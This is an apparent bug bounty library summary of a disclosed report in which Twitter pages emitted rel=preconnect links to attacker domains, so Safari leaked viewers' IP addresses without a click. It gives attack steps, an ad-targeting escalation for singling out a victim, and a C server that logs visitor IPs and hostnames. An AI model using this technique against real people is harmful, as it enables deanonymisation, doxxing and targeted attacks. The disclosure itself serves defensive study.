# Remote 0click exfiltration of Safari user's IP address

Twitter pages emitted rel=preconnect links to attacker-controlled domains, so Safari preconnected and leaked the victim's IP without any click.

- Payout: $560
- Severity: medium
- Program: X / xAI
- Found by: max2x
- Disclosed: 2022-06-15
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1392211
- Library page: https://bugbountylibrary.com/r/h1%3A1392211
- Tags: area:os domain:browser domain:web impact:pii-leak kind:bounty platform:hackerone sev:medium tech:cdn technique:recon vuln:info-disclosure

**Target:** twitter.com tweet pages / link rendering with rel=preconnect
**Root cause:** Twitter rendered third-party link domains with rel=preconnect, causing Safari to open a TCP connection to the attacker domain on hover/scroll without user interaction.
**Steps:**
1. Attacker embeds a link to their own domain in a tweet (e.g. https://twitter.com/<user>/status/<id>).
2. Twitter page includes `<link href="https://attacker.tld" rel="preconnect">` for that domain.
3. Send victim the tweet URL; victim opens it in macOS/iOS Safari.
4. Victim hovers the image (macOS) or scrolls (iOS); Safari preconnects to attacker.tld.
5. Attacker's server logs the incoming TCP connection source IP/hostname via `accept()` + `gethostbyaddr()`.
**How found:** Observed that Safari preloads/preconnects to ad target domains on hover/scroll without a click; inspected page markup and found `<link rel="preconnect">` to third-party domains, then set up a logging server to confirm inbound connections.
**Exploitation:** Attacker controls a domain linked in tweet content, runs a listener on port 443 logging source IPs, and delivers the tweet URL to a target via email/text/mention. Safari's preconnect fires on hover/scroll with no click, yielding victim IP and reverse DNS without appearing in browser history.
**Escalation:** Targeted ad targeting: include 99 Japanese handles plus the target handle so the ad impression reveals the target's non-Japanese IP; enables geolocation, ISP/telco identification, doxxing, DDoS, and spearphishing.
**Insight:** Check whether pages emit rel=preconnect/preload/dns-prefetch for user-supplied third-party domains; browsers may connect before any click, turning link rendering into a silent IP/network beacon.

## Proof of concept (copied exactly from the original report)

**preconnect link tags triggering third-party connection**

```
<link href="https://██████" rel="preconnect">
<link href="//███████" rel="preconnect">
```

**C server logging incoming victim connections**

```
#include <netdb.h>
/* --- server.c --- */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>

int main(int argc, char *argv[])
{
	int listenfd = 0, connfd = 0;
	struct sockaddr_in serv_addr;

	char sendBuff[1025];
	time_t ticks;

	/* creates an UN-named socket inside the kernel and returns
	 * an integer known as socket descriptor
	 * This function takes domain/family as its first argument.
	 * For Internet family of IPv4 addresses we use AF_INET
	 */
	listenfd = socket(AF_INET, SOCK_STREAM, 0);
	memset(&serv_addr, '0', sizeof(serv_addr));
	memset(sendBuff, '0', sizeof(sendBuff));

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	serv_addr.sin_port = htons(443);

	/* The call to the function "bind()" assigns the details specified
	 * in the structure 『serv_addr' to the socket created in the step above
	 */
	bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

	/* The call to the function "listen()" with second argument as 10 specifies
	 * maximum number of client connections that server will queue for this listening
	 * socket.
	 */
	listen(listenfd, 10);

	while(1)
	{
		/* In the call to accept(), the server is put to sleep and when for an incoming
		 * client request, the three way TCP handshake* is complete, the function accept()
		 * wakes up and returns the socket descriptor representing the client socket.
		 */
		struct sockaddr_in client;
		unsigned int fromLen;
		connfd = accept(listenfd, (struct sockaddr*)&client, &fromLen);
printf("Client accepted: %s \n", inet_ntoa(client.sin_addr));  
		struct hostent *hostName;
struct in_addr ipv4addr;

inet_pton(AF_INET, inet_ntoa(client.sin_addr), &ipv4addr);
hostName = gethostbyaddr(&ipv4addr, sizeof ipv4addr, AF_INET);
if (hostName != NULL) {
printf("Host name: %s\n", hostName->h_name);
}


		/* As soon as server gets a request from client, it prepares the date and time and
		 * writes on the client socket through the descriptor returned by accept()
		 */
		ticks = time(NULL);
// printf(sendBuff, sizeof(sendBuff), "%.24s\r\n", ctime(&ticks));
//		printf(sendBuff, sizeof(sendBuff), "%.24s\r\n", ctime(&ticks));
		write(connfd, sendBuff, strlen(sendBuff));

		close(connfd);
		sleep(1);
	}
}
```

